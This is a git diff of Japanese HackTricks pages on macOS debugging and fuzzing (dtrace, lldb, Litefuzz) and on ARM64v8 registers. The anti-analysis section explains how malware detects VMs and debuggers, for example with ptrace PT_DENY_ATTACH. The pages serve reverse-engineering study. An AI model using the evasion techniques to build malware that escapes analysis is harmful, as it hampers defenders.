これにより、ユーザーは非常に**低レベル**でアプリケーションにアクセスでき、プログラムを**トレース**したり、実行フローを変更したりする方法を提供します。 Dtraceは、カーネル全体に配置される**プローブ**を使用し、システムコールの開始と終了などの場所に配置されます。
|
||||
これにより、ユーザーは非常に**低レベル**でアプリケーションにアクセスし、プログラムを**トレース**したり、実行フローを変更したりする方法が提供されます。 Dtraceは、システムコールの開始と終了などの場所に配置される**プローブ**を使用します。
|
||||
|
||||
DTraceは、各システムコールの**入口と出口**でプローブを作成するために**`dtrace_probe_create`**関数を使用します。これらのプローブは、各システムコールの**入口と出口**で発火することができます。DTraceとのやり取りは、ルートユーザー専用の/dev/dtraceを介して行われます。
|
||||
|
||||
|
@ -227,7 +235,7 @@ ID PROVIDER MODULE FUNCTION NAME
|
|||
```
|
||||
プローブ名は、プロバイダー、モジュール、関数、および名前(`fbt:mach_kernel:ptrace:entry`)の4つの部分で構成されています。名前の一部を指定しない場合、Dtraceはその部分をワイルドカードとして適用します。
|
||||
|
||||
プローブをアクティブにし、それらが発生したときに実行するアクションを指定するには、D言語を使用する必要があります。
|
||||
プローブをアクティブ化し、それらが発生したときに実行するアクションを指定するには、D言語を使用する必要があります。
|
||||
|
||||
詳細な説明やさらなる例は、[https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html) で見つけることができます。
|
||||
|
||||
|
@ -285,7 +293,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
|
|||
```
|
||||
### ktrace
|
||||
|
||||
これは**SIPが有効**の状態でも使用できます。
|
||||
これは**SIPが有効な状態でも使用できます**
|
||||
```bash
|
||||
ktrace trace -s -S -t c -c ls | grep "ls("
|
||||
```
|
||||
|
@ -302,7 +310,7 @@ ktrace trace -s -S -t c -c ls | grep "ls("
|
|||
|
||||
### FileMonitor
|
||||
|
||||
[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor)は、ファイルイベント(作成、変更、削除など)を監視し、そのようなイベントに関する詳細情報を提供します。
|
||||
[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor)は、ファイルイベント(作成、変更、削除など)を監視し、そのようなイベントに関する詳細情報を提供することができます。
|
||||
|
||||
### Crescendo
|
||||
|
||||
|
@ -328,18 +336,18 @@ fs_usage -w -f network curl #This tracks network actions
|
|||
|
||||
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
|
||||
|
||||
[**このブログ投稿**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html)では、**`PT_DENY_ATTACH`**を使用してデバッグを防止する実行中のデーモンをデバッグする方法の例が示されています。
|
||||
[**このブログ投稿**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html)では、**`PT_DENY_ATTACH`**を使用してデバッグを防止するデーモンをデバッグする方法の例が示されています。
|
||||
|
||||
### lldb
|
||||
|
||||
**lldb**は**macOS**バイナリのデバッグにおける事実上のツールです。
|
||||
**lldb**は、**macOS**バイナリの**デバッグ**における事実上のツールです。
|
||||
```bash
|
||||
lldb ./malware.bin
|
||||
lldb -p 1122
|
||||
lldb -n malware.bin
|
||||
lldb -n malware.bin --waitfor
|
||||
```
|
||||
次の行を含むファイル**`.lldbinit`**をホームフォルダに作成することで、lldbを使用する際にintelフレーバーを設定できます:
|
||||
あなたのホームフォルダに次の行を含む**`.lldbinit`**というファイルを作成することで、lldbを使用する際にintelフレーバーを設定することができます:
|
||||
```bash
|
||||
settings set target.x86-disassembly-flavor intel
|
||||
```
|
||||
|
@ -347,10 +355,10 @@ settings set target.x86-disassembly-flavor intel
|
|||
lldb内で、`process save-core`を使用してプロセスをダンプします。
|
||||
{% endhint %}
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) コマンド</strong></td><td><strong>説明</strong></td></tr><tr><td><strong>run (r)</strong></td><td>ブレークポイントがヒットするかプロセスが終了するまで続行される実行を開始します。</td></tr><tr><td><strong>continue (c)</strong></td><td>デバッグ対象プロセスの実行を継続します。</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>次の命令を実行します。このコマンドは関数呼び出しをスキップします。</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>次の命令を実行します。nextiコマンドとは異なり、このコマンドは関数呼び出しに入ります。</td></tr><tr><td><strong>finish (f)</strong></td><td>現在の関数("frame")内の残りの命令を実行して停止します。</td></tr><tr><td><strong>control + c</strong></td><td>実行を一時停止します。プロセスが実行されている場合、プロセスは現在実行中の場所で停止します。</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main # main関数を呼び出す</p><p>b <binname>`main # バイナリのmain関数</p><p>b set -n main --shlib <lib_name> # 指定されたバイナリのmain関数</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l # ブレークポイントリスト</p><p>br e/dis <num> # ブレークポイントを有効化/無効化</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint # ブレークポイントコマンドのヘルプを取得</p><p>help memory write # メモリへの書き込みに関するヘルプを取得</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <a href="https://lldb.llvm.org/use/variable.html#type-format">format</a></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>メモリをヌル終端文字列として表示します。</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>メモリをアセンブリ命令として表示します。</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>メモリをバイトとして表示します。</td></tr><tr><td><strong>print object (po)</strong></td><td><p>パラメータで参照されるオブジェクトを出力します</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>AppleのObjective-C APIやメソッドのほとんどはオブジェクトを返すため、「print object」(po)コマンドで表示する必要があります。意味のある出力が得られない場合は、<code>x/b</code>を使用してください</p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 # そのアドレスにAAAAを書き込む<br>memory write -f s $rip+0x11f+7 "AAAA" # そのアドレスにAAAAを書き込む</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis # 現在の関数を逆アセンブル</p><p>dis -n <funcname> # 関数を逆アセンブル</p><p>dis -n <funcname> -b <basename> # 関数を逆アセンブル</p><p>dis -c 6 # 6行を逆アセンブル</p><p>dis -c 0x100003764 -e 0x100003768 # 1つのアドレスからもう1つのアドレスまで</p><p>dis -p -c 4 # 現在のアドレスから逆アセンブルを開始</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # x1レジスタ内の3つのコンポーネントの配列をチェック</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) コマンド</strong></td><td><strong>説明</strong></td></tr><tr><td><strong>run (r)</strong></td><td>ブレークポイントがヒットするかプロセスが終了するまで続行される実行を開始します。</td></tr><tr><td><strong>continue (c)</strong></td><td>デバッグ対象プロセスの実行を継続します。</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>次の命令を実行します。このコマンドは関数呼び出しをスキップします。</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>次の命令を実行します。nextiコマンドとは異なり、このコマンドは関数呼び出しに入ります。</td></tr><tr><td><strong>finish (f)</strong></td><td>現在の関数("frame")内の残りの命令を実行して停止します。</td></tr><tr><td><strong>control + c</strong></td><td>実行を一時停止します。プロセスが実行されているか継続されている場合、プロセスは現在実行中の場所で停止します。</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main # main関数を呼び出す</p><p>b <binname>`main # バイナリのmain関数</p><p>b set -n main --shlib <lib_name> # 指定されたバイナリのmain関数</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l # ブレークポイントリスト</p><p>br e/dis <num> # ブレークポイントを有効化/無効化</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint # ブレークポイントコマンドのヘルプを取得</p><p>help memory write # メモリへの書き込みに関するヘルプを取得</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <a href="https://lldb.llvm.org/use/variable.html#type-format">format</a></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>メモリをヌル終端文字列として表示します。</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>メモリをアセンブリ命令として表示します。</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>メモリをバイトとして表示します。</td></tr><tr><td><strong>print object (po)</strong></td><td><p>これは、パラメータで参照されるオブジェクトを出力します</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>AppleのObjective-C APIやメソッドのほとんどはオブジェクトを返すため、「print object」(po)コマンドで表示する必要があります。意味のある出力が得られない場合は、<code>x/b</code>を使用してください</p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 # そのアドレスにAAAAを書き込む<br>memory write -f s $rip+0x11f+7 "AAAA" # そのアドレスにAAAAを書き込む</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis # 現在の関数を逆アセンブル</p><p>dis -n <funcname> # 関数を逆アセンブル</p><p>dis -n <funcname> -b <basename> # 関数を逆アセンブル</p><p>dis -c 6 # 6行を逆アセンブル</p><p>dis -c 0x100003764 -e 0x100003768 # 1つのアドレスからもう1つのアドレスまで</p><p>dis -p -c 4 # 現在のアドレスから逆アセンブルを開始</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # x1レジスタ内の3つのコンポーネントの配列をチェック</td></tr></tbody></table>
|
||||
|
||||
{% hint style="info" %}
|
||||
**`objc_sendMsg`** 関数を呼び出す際、**rsi** レジスタにはヌル終端("C")文字列としての**メソッド名**が格納されます。lldbを使用して名前を表示するには以下のようにします:
|
||||
**`objc_sendMsg`** 関数を呼び出す際、**rsi** レジスタにはヌル終端("C")文字列として**メソッドの名前**が格納されます。lldbを使用して名前を表示するには以下のようにします:
|
||||
|
||||
`(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
|
||||
|
@ -362,27 +370,26 @@ lldb内で、`process save-core`を使用してプロセスをダンプします
|
|||
|
||||
### アンチダイナミック解析
|
||||
|
||||
#### VM検出
|
||||
#### VM 検出
|
||||
|
||||
* **`sysctl hw.model`** コマンドは、**ホストがMacOS**の場合は "Mac" を返しますが、VMの場合は異なる値を返します。
|
||||
* **`sysctl hw.model`** コマンドは、ホストがMacOSの場合には "Mac" を返しますが、VMの場合は異なる値を返します。
|
||||
* 一部のマルウェアは、**`hw.logicalcpu`** と **`hw.physicalcpu`** の値を操作して、VMであるかどうかを検出しようとします。
|
||||
* 一部のマルウェアは、MACアドレス(00:50:56)に基づいてマシンがVMwareであるかどうかを検出することもできます。
|
||||
* 一部のマルウェアは、MACアドレス(00:50:56)に基づいてマシンがVMwareであるかどうかを検出することもあります。
|
||||
* 単純なコードを使用して、プロセスがデバッグされているかどうかを検出することもできます:
|
||||
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //process being debugged }`
|
||||
* **`ptrace`** システムコールを **`PT_DENY_ATTACH`** フラグで呼び出すこともできます。これにより、デバッガがアタッチおよびトレースを防止します。
|
||||
* **`ptrace`** システムコールを **`PT_DENY_ATTACH`** フラグとともに呼び出すこともできます。これにより、デバッガがアタッチしてトレースすることが防止されます。
|
||||
* **`sysctl`** または **`ptrace`** 関数が **インポート** されているかどうかを確認できます(ただし、マルウェアは動的にインポートする可能性があります)
|
||||
* この記事に記載されているように、"[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)":\
|
||||
* この記事に記載されているように、"[アンチデバッグテクニックの克服:macOSのptrace変種](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)":\
|
||||
"_メッセージ「Process # exited with **status = 45 (0x0000002d)**」は、通常、デバッグ対象が **PT\_DENY\_ATTACH** を使用していることを示す兆候です_"
|
||||
|
||||
## ファジング
|
||||
|
||||
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
||||
|
||||
ReportCrashは、**クラッシュしたプロセスを分析し、クラッシュレポートをディスクに保存**します。クラッシュレポートには、クラッシュの原因を診断するのに役立つ情報が含まれています。\
|
||||
ユーザーごとのlaunchdコンテキストで実行されるアプリケーションや他のプロセスの場合、ReportCrashはLaunchAgentとして実行され、クラッシュレポートをユーザーの `~/Library/Logs/DiagnosticReports/` に保存します。\
|
||||
デーモン、システムlaunchdコンテキストで実行される他のプロセスや他の特権を持つプロセスの場合、ReportCrashはLaunchDaemonとして実行され、クラッシュレポートをシステムの `/Library/Logs/DiagnosticReports` に保存します。
|
||||
ユーザーごとのlaunchdコンテキストで実行されるアプリケーションや他のプロセスの場合、ReportCrashはLaunchAgentとして実行され、クラッシュレポートをユーザーの`~/Library/Logs/DiagnosticReports/`に保存します。\
|
||||
デーモン、システムlaunchdコンテキストで実行される他のプロセスや他の特権プロセスの場合、ReportCrashはLaunchDaemonとして実行され、クラッシュレポートをシステムの`/Library/Logs/DiagnosticReports`に保存します。
|
||||
|
||||
クラッシュレポートが**Appleに送信されるのを心配**している場合は、それらを無効にすることができます。そうでない場合、クラッシュレポートはサーバーがどのようにクラッシュしたかを把握するのに役立ちます。
|
||||
クラッシュレポートが**Appleに送信されるのを心配**している場合は、それらを無効にすることができます。そうでない場合、クラッシュレポートは**サーバーがどのようにクラッシュしたかを特定するのに役立つ**かもしれません。
|
||||
```bash
|
||||
#To disable crash reporting:
|
||||
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
||||
|
@ -402,7 +409,7 @@ MacOSでのFuzzing中は、Macがスリープモードに入らないように
|
|||
|
||||
#### SSHの切断
|
||||
|
||||
SSH接続を介してFuzzingを行う場合は、セッションが切断されないようにすることが重要です。そのために、sshd_configファイルを以下のように変更します:
|
||||
SSH接続を介してFuzzingを行っている場合は、セッションが切断されないようにすることが重要です。そのために、sshd\_configファイルを以下のように変更します:
|
||||
|
||||
* TCPKeepAlive Yes
|
||||
* ClientAliveInterval 0
|
||||
|
@ -428,8 +435,6 @@ dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >>
|
|||
sort -u recv.log > procs.txt
|
||||
cat procs.txt
|
||||
```
|
||||
または`netstat`または`lsof`を使用します。
|
||||
|
||||
### Libgmalloc
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic 14.png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -440,15 +445,15 @@ lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYL
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### ファジングツール
|
||||
### ファジャー
|
||||
|
||||
#### [AFL++](https://github.com/AFLplusplus/AFLplusplus)
|
||||
|
||||
CLIツールに対応
|
||||
CLIツールに対応しています。
|
||||
|
||||
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
|
||||
|
||||
macOSのGUIツールに**"just works"**します。一部のmacOSアプリはユニークなファイル名、適切な拡張子、サンドボックスからファイルを読み取る必要があるなど、特定の要件を満たす必要があります。
|
||||
macOSのGUIツールと "**just works"** します。一部のmacOSアプリには、ユニークなファイル名、適切な拡張子、サンドボックスからファイルを読み取る必要があるなど、特定の要件があります (`~/Library/Containers/com.apple.Safari/Data`)...
|
||||
|
||||
いくつかの例:
|
||||
|
||||
|
@ -478,7 +483,7 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### 追加のFuzzing MacOS情報
|
||||
### より多くのFuzzing MacOS情報
|
||||
|
||||
* [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44)
|
||||
* [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf)
|
||||
|
@ -499,9 +504,9 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
|
||||
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする**
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# ARM64v8への導入
|
||||
# **ARM64v8への導入**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>を通じて学ぶ</strong>!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
|
||||
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,17 +19,17 @@ HackTricksをサポートする他の方法:
|
|||
ARMv8アーキテクチャでは、実行レベルである例外レベル(EL)が、実行環境の特権レベルと機能を定義します。EL0からEL3までの4つの例外レベルがあり、それぞれ異なる目的で使用されます:
|
||||
|
||||
1. **EL0 - ユーザーモード**:
|
||||
* これは最も特権のないレベルであり、通常のアプリケーションコードの実行に使用されます。
|
||||
* EL0で実行されるアプリケーションは、お互いやシステムソフトウェアから分離されており、セキュリティと安定性が向上しています。
|
||||
- これは最も特権のないレベルであり、通常のアプリケーションコードの実行に使用されます。
|
||||
- EL0で実行されるアプリケーションは、お互いやシステムソフトウェアから分離されており、セキュリティと安定性が向上しています。
|
||||
2. **EL1 - オペレーティングシステムカーネルモード**:
|
||||
* ほとんどのオペレーティングシステムカーネルはこのレベルで実行されます。
|
||||
* EL1はEL0よりも特権があり、システムリソースにアクセスできますが、システムの整合性を確保するためにいくつかの制限があります。
|
||||
- ほとんどのオペレーティングシステムカーネルはこのレベルで実行されます。
|
||||
- EL1はEL0よりも特権があり、システムリソースにアクセスできますが、システムの整合性を確保するためにいくつかの制限があります。
|
||||
3. **EL2 - ハイパーバイザーモード**:
|
||||
* このレベルは仮想化に使用されます。EL2で実行されるハイパーバイザーは、同じ物理ハードウェア上で実行される複数のオペレーティングシステム(それぞれが独自のEL1で)を管理できます。
|
||||
* EL2には、仮想化環境の分離と制御の機能が提供されます。
|
||||
- このレベルは仮想化に使用されます。EL2で実行されるハイパーバイザーは、同じ物理ハードウェア上で実行されている複数のオペレーティングシステム(それぞれが独自のEL1で)を管理できます。
|
||||
- EL2には仮想環境の分離と制御の機能が提供されます。
|
||||
4. **EL3 - セキュアモニターモード**:
|
||||
* これは最も特権のあるレベルであり、セキュアブートや信頼された実行環境によく使用されます。
|
||||
* EL3はセキュア状態と非セキュア状態の間のアクセスを管理および制御できます(セキュアブート、信頼されたOSなど)。
|
||||
- これは最も特権のあるレベルであり、セキュアブートや信頼された実行環境によく使用されます。
|
||||
- EL3はセキュア状態と非セキュア状態の間のアクセスを管理および制御できます(セキュアブート、信頼されたOSなど)。
|
||||
|
||||
これらのレベルの使用により、ユーザーアプリケーションから最も特権のあるシステムソフトウェアまで、システムのさまざまな側面を構造化して安全に管理する方法が提供されます。ARMv8の特権レベルへのアプローチは、異なるシステムコンポーネントを効果的に分離することで、システムのセキュリティと堅牢性を向上させるのに役立ちます。
|
||||
|
||||
|
@ -38,22 +38,22 @@ ARMv8アーキテクチャでは、実行レベルである例外レベル(EL
|
|||
ARM64には、`x0`から`x30`までの**31個の汎用レジスタ**があります。それぞれが**64ビット**(8バイト)の値を格納できます。32ビットの値のみを必要とする操作の場合、同じレジスタには、`w0`から`w30`という名前を使用して32ビットモードでアクセスできます。
|
||||
|
||||
1. **`x0`** から **`x7`** - これらは通常、スクラッチレジスタとサブルーチンにパラメータを渡すために使用されます。
|
||||
* **`x0`** は関数の戻りデータも保持します
|
||||
- **`x0`** は関数の戻りデータも保持します。
|
||||
2. **`x8`** - Linuxカーネルでは、`x8`は`svc`命令のシステムコール番号として使用されます。**macOSではx16が使用されます!**
|
||||
3. **`x9`** から **`x15`** - さらに一時レジスタであり、ローカル変数によく使用されます。
|
||||
3. **`x9`** から **`x15`** - さらなる一時レジスタであり、ローカル変数によく使用されます。
|
||||
4. **`x16`** と **`x17`** - **手続き内呼び出しレジスタ**。即値のための一時レジスタ。間接関数呼び出しやPLT(手続きリンクテーブル)スタブにも使用されます。
|
||||
* **`x16`** は**macOS**で**`svc`**命令の**システムコール番号**として使用されます。
|
||||
5. **`x18`** - **プラットフォームレジスタ**。一般目的レジスタとして使用できますが、一部のプラットフォームでは、このレジスタはプラットフォーム固有の用途に予約されています:Windowsの現在のスレッド環境ブロックへのポインタ、またはLinuxカーネルで実行中のタスク構造体へのポインタ。
|
||||
- **macOS**では、**`x16`** が **`svc`** 命令の **システムコール番号**として使用されます。
|
||||
5. **`x18`** - **プラットフォームレジスタ**。汎用レジスタとして使用できますが、一部のプラットフォームでは、このレジスタはプラットフォーム固有の用途に予約されています:Windowsでは現在のスレッド環境ブロックへのポインタ、Linuxカーネルでは現在の**実行中のタスク構造体を指す**ポインタ。
|
||||
6. **`x19`** から **`x28`** - これらは呼び出し元保存レジスタです。関数はこれらのレジスタの値を呼び出し元のために保存する必要があり、それらはスタックに保存され、呼び出し元に戻る前に回復されます。
|
||||
7. **`x29`** - スタックフレームを追跡するための**フレームポインタ**。関数が呼び出されると新しいスタックフレームが作成されるため、**`x29`** レジスタは**スタックに保存**され、新しいフレームポインタアドレス(**`sp`**アドレス)が**このレジスタに保存**されます。
|
||||
* このレジスタは一般目的レジスタとして使用できますが、通常は**ローカル変数の参照**として使用されます。
|
||||
8. **`x30`** または **`lr`**- **リンクレジスタ**。`BL`(Branch with Link)または`BLR`(RegisterへのBranch with Link)命令が実行されるときに**リターンアドレス**を保持します。
|
||||
* 他のレジスタと同様に使用できます。
|
||||
* 現在の関数が新しい関数を呼び出す予定であり、したがって`lr`を上書きする場合、最初にスタックに保存し、これがエピローグ(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp`と`lr`を保存し、スペースを生成し、新しい`fp`を取得)で回復します。そして最後に、これがプロローグ(`ldp x29, x30, [sp], #48; ret` -> `fp`と`lr`を回復して戻る)です。
|
||||
9. **`sp`** - **スタックポインタ**。スタックのトップを追跡するために使用されます。
|
||||
* **`sp`** の値は常に少なくとも**クワッドワードのアライメント**を保持する必要があり、それ以外の場合はアライメント例外が発生する可能性があります。
|
||||
10. **`pc`** - 次の命令を指す**プログラムカウンタ**。このレジスタは例外生成、例外リターン、およびブランチを介してのみ更新できます。このレジスタを読み取ることができる通常の命令は、**`pc`**アドレスを**`lr`**(リンクレジスタ)に保存するためのブランチリンク命令(BL、BLR)だけです。
|
||||
11. **`xzr`** - **ゼロレジスタ**。32ビットレジスタ形式では**`wzr`**とも呼ばれます。ゼロ値を簡単に取得するために使用できます(一般的な操作)または**`subs`**を使用して比較を行うために使用できます。**`subs XZR, Xn, #10`**のように、結果のデータをどこにも保存しないで(**`xzr`**に)データを保存することができます。
|
||||
7. **`x29`** - スタックフレームを追跡するための**フレームポインタ**。関数が呼び出されると新しいスタックフレームが作成されるとき、**`x29`** レジスタはスタックに保存され、新しいフレームポインタアドレス(**`sp`**アドレス)がこのレジスタに保存されます。
|
||||
- このレジスタは**一般目的レジスタ**としても使用できますが、通常は**ローカル変数**への参照として使用されます。
|
||||
8. **`x30`** または **`lr`** - **リンクレジスタ**。`BL`(リンク付きブランチ)または`BLR`(レジスタへのリンク付きブランチ)命令が実行されるときに**`pc`**の値をこのレジスタに格納することで、**戻りアドレス**を保持します。
|
||||
- 他のレジスタと同様に使用できます。
|
||||
- 現在の関数が新しい関数を呼び出す予定であり、したがって`lr`を上書きする場合、最初にスタックに保存し、これがエピローグ(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp`と`lr`を保存し、スペースを生成し、新しい`fp`を取得)で、最後に回復します。これがプロローグです(`ldp x29, x30, [sp], #48; ret` -> `fp`と`lr`を回復して戻ります)。
|
||||
9. **`sp`** - **スタックポインタ**。スタックの先頭を追跡するために使用されます。
|
||||
- **`sp`**の値は常に少なくとも**クワッドワードのアライメント**を保持する必要があります。そうでないとアライメント例外が発生する可能性があります。
|
||||
10. **`pc`** - 次の命令を指す**プログラムカウンタ**。このレジスタは例外生成、例外リターン、およびブランチを介してのみ更新できます。このレジスタを読み取ることができる通常の命令は、**`pc`**アドレスを**`lr`**(リンクレジスタ)に格納するためのブランチリンク命令(BL、BLR)だけです。
|
||||
11. **`xzr`** - **ゼロレジスタ**。32ビットレジスタ形式では**`wzr`**とも呼ばれます。ゼロ値を簡単に取得するために使用できます(一般的な操作)または**`subs`**を使用して比較を実行するために使用できます。**`subs XZR, Xn, #10`**のように、結果のデータをどこにも保存しない(**`xzr`**に保存)。
|
||||
|
||||
**`Wn`** レジスタは**`Xn`** レジスタの32ビットバージョンです。
|
||||
|
||||
|
@ -73,7 +73,7 @@ ARM64には、`x0`から`x30`までの**31個の汎用レジスタ**がありま
|
|||
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE**には、オペレーティングシステムでシリアル化されたいくつかのプロセスコンポーネントが含まれており、**トリガーされた**例外の**許可**レベルである**`SPSR_ELx`**特殊レジスタに格納されます(これにより、例外が終了したときにプロセスの状態を回復できます)。\
|
||||
**PSTATE**には、**トリガーされた**例外の**許可**レベルであるXが**オペレーティングシステムで見える** **`SPSR_ELx`**特殊レジスタに直列化されたいくつかのプロセスコンポーネントが含まれています(これにより、例外が終了したときにプロセスの状態を回復できます)。\
|
||||
これらはアクセス可能なフィールドです:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (724).png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -82,11 +82,11 @@ ARM64には、`x0`から`x30`までの**31個の汎用レジスタ**がありま
|
|||
* **`N`**は、操作が負の結果を生じたことを意味します
|
||||
* **`Z`**は、操作がゼロを生じたことを意味します
|
||||
* **`C`**は、操作が実行されたことを意味します
|
||||
* **`V`**は、操作が符号オーバーフローを生じたことを意味します:
|
||||
* **`V`**は、操作が符号付きオーバーフローを生じたことを意味します:
|
||||
* 2つの正の数の合計は負の結果を生じます。
|
||||
* 2つの負の数の合計は正の結果を生じます。
|
||||
